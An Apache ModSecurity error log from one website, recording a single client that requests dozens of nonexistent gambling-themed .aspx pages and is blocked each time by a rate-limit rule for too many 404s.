[Mon Mar 23 17:37:52.235554 2026] [:error] [pid 35165:tid 35172] [client 51.75.119.154:33010] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "acEJ8M6udpN6Esk7JKuoUAAAAYQ"]
[Mon Mar 23 17:37:54.746565 2026] [:error] [pid 14573:tid 14582] [client 51.75.119.154:45438] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acEJ8u-oSmHn3q4_J1GtNgAAAUc"]
[Mon Mar 23 17:37:57.146326 2026] [:error] [pid 23539:tid 23561] [client 51.75.119.154:45440] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acEJ9X7Dh3qWGSpIAZURTwAAAM0"]
[Mon Mar 23 17:37:59.681209 2026] [:error] [pid 23539:tid 23572] [client 51.75.119.154:45450] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acEJ937Dh3qWGSpIAZURUgAAANg"]
[Mon Mar 23 17:38:02.215283 2026] [:error] [pid 57265:tid 57291] [client 51.75.119.154:45454] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acEJ-mNLjPJJkhuqCsgaxQAAARg"]
[Mon Mar 23 17:38:04.597228 2026] [:error] [pid 23440:tid 23477] [client 51.75.119.154:45458] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "acEJ_D49_8n8h_ttcUorkgAAAEE"]
[Mon Mar 23 17:38:07.119644 2026] [:error] [pid 14573:tid 14596] [client 51.75.119.154:54446] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "acEJ_--oSmHn3q4_J1GtXAAAAVU"]
[Mon Mar 23 17:38:28.014150 2026] [:error] [pid 14573:tid 14577] [client 51.75.119.154:54460] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "acEKFO-oSmHn3q4_J1GtlAAAAUI"]
[Mon Mar 23 17:38:30.331789 2026] [:error] [pid 57265:tid 57285] [client 51.75.119.154:58696] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "acEKFmNLjPJJkhuqCsga8wAAARI"]
[Mon Mar 23 17:38:32.838050 2026] [:error] [pid 57265:tid 57276] [client 51.75.119.154:58698] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker.aspx"] [unique_id "acEKGGNLjPJJkhuqCsgbAQAAAQk"]
[Mon Mar 23 17:38:35.342869 2026] [:error] [pid 57265:tid 57291] [client 51.75.119.154:43112] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "acEKG2NLjPJJkhuqCsgbGQAAARg"]
[Mon Mar 23 17:38:37.860681 2026] [:error] [pid 35165:tid 35172] [client 51.75.119.154:43126] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20plus.aspx"] [unique_id "acEKHc6udpN6Esk7JKuojAAAAYQ"]
[Mon Mar 23 17:38:40.389056 2026] [:error] [pid 57265:tid 57288] [client 51.75.119.154:43138] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "acEKIGNLjPJJkhuqCsgbMAAAARU"]
[Mon Mar 23 17:38:42.890398 2026] [:error] [pid 14573:tid 14590] [client 51.75.119.154:43140] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "acEKIu-oSmHn3q4_J1GtrwAAAU8"]
[Mon Mar 23 17:38:45.421142 2026] [:error] [pid 57265:tid 57277] [client 51.75.119.154:57466] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "acEKJWNLjPJJkhuqCsgbVQAAAQo"]
[Mon Mar 23 17:38:47.914523 2026] [:error] [pid 14573:tid 14580] [client 51.75.119.154:57472] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "acEKJ--oSmHn3q4_J1GtvgAAAUU"]
[Mon Mar 23 17:38:50.299760 2026] [:error] [pid 23440:tid 23495] [client 51.75.119.154:57474] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "acEKKj49_8n8h_ttcUormwAAAFM"]
[Mon Mar 23 17:38:52.809439 2026] [:error] [pid 57265:tid 57268] [client 51.75.119.154:57480] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "acEKLGNLjPJJkhuqCsgbdQAAAQE"]
[Mon Mar 23 17:38:55.347884 2026] [:error] [pid 57265:tid 57279] [client 51.75.119.154:55366] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "acEKL2NLjPJJkhuqCsgbhgAAAQw"]
[Mon Mar 23 17:38:57.823207 2026] [:error] [pid 57265:tid 57281] [client 51.75.119.154:55380] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "acEKMWNLjPJJkhuqCsgbkgAAAQ4"]
[Mon Mar 23 17:39:00.337954 2026] [:error] [pid 57265:tid 57279] [client 51.75.119.154:55392] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "acEKNGNLjPJJkhuqCsgbngAAAQw"]
[Mon Mar 23 17:39:02.817644 2026] [:error] [pid 23539:tid 23565] [client 51.75.119.154:55398] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot.aspx"] [unique_id "acEKNn7Dh3qWGSpIAZURigAAANE"]
[Mon Mar 23 17:39:05.148429 2026] [:error] [pid 23441:tid 23524] [client 51.75.119.154:54566] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "acEKORq7S-oOqSXZEr7S8gAAAJU"]
[Mon Mar 23 17:39:07.637579 2026] [:error] [pid 57265:tid 57284] [client 51.75.119.154:54576] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "acEKO2NLjPJJkhuqCsgbqwAAARE"]
[Mon Mar 23 17:39:09.986004 2026] [:error] [pid 14573:tid 14590] [client 51.75.119.154:54592] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20soft.aspx"] [unique_id "acEKPe-oSmHn3q4_J1Gt5QAAAU8"]
[Mon Mar 23 17:39:12.465817 2026] [:error] [pid 57265:tid 57286] [client 51.75.119.154:54594] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20th.aspx"] [unique_id "acEKQGNLjPJJkhuqCsgbtgAAARM"]
[Mon Mar 23 17:39:14.971116 2026] [:error] [pid 35165:tid 35188] [client 51.75.119.154:58462] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "acEKQs6udpN6Esk7JKuouAAAAZQ"]
[Mon Mar 23 17:39:17.268097 2026] [:error] [pid 35165:tid 35168] [client 51.75.119.154:58478] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "acEKRc6udpN6Esk7JKuouwAAAYA"]
[Mon Mar 23 17:39:19.759718 2026] [:error] [pid 14573:tid 14596] [client 51.75.119.154:58488] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20world.aspx"] [unique_id "acEKR--oSmHn3q4_J1Gt_gAAAVU"]
[Mon Mar 23 17:39:22.076949 2026] [:error] [pid 14573:tid 14587] [client 51.75.119.154:58494] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "acEKSu-oSmHn3q4_J1GuBwAAAUw"]
[Mon Mar 23 17:39:24.560838 2026] [:error] [pid 14573:tid 14593] [client 51.75.119.154:58504] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "acEKTO-oSmHn3q4_J1GuDQAAAVI"]
[Mon Mar 23 17:39:45.725298 2026] [:error] [pid 14573:tid 14578] [client 51.75.119.154:34156] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20auto.aspx"] [unique_id "acEKYe-oSmHn3q4_J1GuQwAAAUM"]
[Mon Mar 23 17:39:48.164943 2026] [:error] [pid 23539:tid 23554] [client 51.75.119.154:47956] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20demo.aspx"] [unique_id "acEKZH7Dh3qWGSpIAZURoQAAAMY"]
[Mon Mar 23 17:39:50.632561 2026] [:error] [pid 35165:tid 35181] [client 51.75.119.154:47970] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20free.aspx"] [unique_id "acEKZs6udpN6Esk7JKuo5gAAAY0"]
[Mon Mar 23 17:39:52.942780 2026] [:error] [pid 57265:tid 57285] [client 51.75.119.154:47982] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "acEKaGNLjPJJkhuqCsgcEAAAARI"]
[Mon Mar 23 17:39:55.421561 2026] [:error] [pid 23440:tid 23488] [client 51.75.119.154:35532] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20joker.aspx"] [unique_id "acEKaz49_8n8h_ttcUorsQAAAEw"]
[Mon Mar 23 17:39:57.738769 2026] [:error] [pid 23440:tid 23478] [client 51.75.119.154:35536] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20online.aspx"] [unique_id "acEKbT49_8n8h_ttcUosEAAAAEI"]
[Mon Mar 23 17:40:00.046598 2026] [:error] [pid 23539:tid 23552] [client 51.75.119.154:35538] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "acEKcH7Dh3qWGSpIAZURsAAAAMQ"]
[Mon Mar 23 17:40:02.519529 2026] [:error] [pid 23539:tid 23568] [client 51.75.119.154:35550] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "acEKcn7Dh3qWGSpIAZURtAAAANQ"]
[Mon Mar 23 17:40:04.987133 2026] [:error] [pid 23440:tid 23496] [client 51.75.119.154:60342] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "acEKdD49_8n8h_ttcUosQgAAAFQ"]
[Mon Mar 23 17:40:07.482372 2026] [:error] [pid 23440:tid 23499] [client 51.75.119.154:60354] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "acEKdz49_8n8h_ttcUosRgAAAFc"]
[Mon Mar 23 17:40:09.963854 2026] [:error] [pid 23441:tid 23517] [client 51.75.119.154:60356] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "acEKeRq7S-oOqSXZEr7THgAAAI4"]
[Mon Mar 23 17:40:12.274879 2026] [:error] [pid 14573:tid 14578] [client 51.75.119.154:60358] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "acEKfO-oSmHn3q4_J1GubwAAAUM"]
[Mon Mar 23 17:40:14.745983 2026] [:error] [pid 35165:tid 35173] [client 51.75.119.154:33250] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "acEKfs6udpN6Esk7JKupGwAAAYU"]
[Mon Mar 23 17:40:17.080962 2026] [:error] [pid 23439:tid 23457] [client 51.75.119.154:33260] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "acEKgaZv8XIzUKdgaMeLvgAAAAg"]
[Mon Mar 23 17:40:19.576248 2026] [:error] [pid 57265:tid 57279] [client 51.75.119.154:33268] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "acEKg2NLjPJJkhuqCsgcRQAAAQw"]
[Mon Mar 23 17:40:21.892151 2026] [:error] [pid 57265:tid 57277] [client 51.75.119.154:33270] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "acEKhWNLjPJJkhuqCsgcSAAAAQo"]
[Mon Mar 23 17:40:24.354592 2026] [:error] [pid 23441:tid 23511] [client 51.75.119.154:33282] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "acEKiBq7S-oOqSXZEr7TKgAAAIg"]
[Mon Mar 23 17:40:26.827080 2026] [:error] [pid 14573:tid 14590] [client 51.75.119.154:40948] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "acEKiu-oSmHn3q4_J1GuhQAAAU8"]
[Mon Mar 23 17:40:29.298726 2026] [:error] [pid 57265:tid 57282] [client 51.75.119.154:40954] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "acEKjWNLjPJJkhuqCsgcUgAAAQ8"]
[Mon Mar 23 17:40:31.759830 2026] [:error] [pid 14573:tid 14583] [client 51.75.119.154:40962] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "acEKj--oSmHn3q4_J1GuiwAAAUg"]
[Mon Mar 23 17:40:34.071484 2026] [:error] [pid 23539:tid 23553] [client 51.75.119.154:40972] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "acEKkn7Dh3qWGSpIAZUR6AAAAMU"]
[Mon Mar 23 17:40:36.396897 2026] [:error] [pid 35165:tid 35171] [client 51.75.119.154:42816] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "acEKlM6udpN6Esk7JKupSAAAAYM"]
[Mon Mar 23 17:40:38.873346 2026] [:error] [pid 14573:tid 14596] [client 51.75.119.154:42826] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "acEKlu-oSmHn3q4_J1GumQAAAVU"]
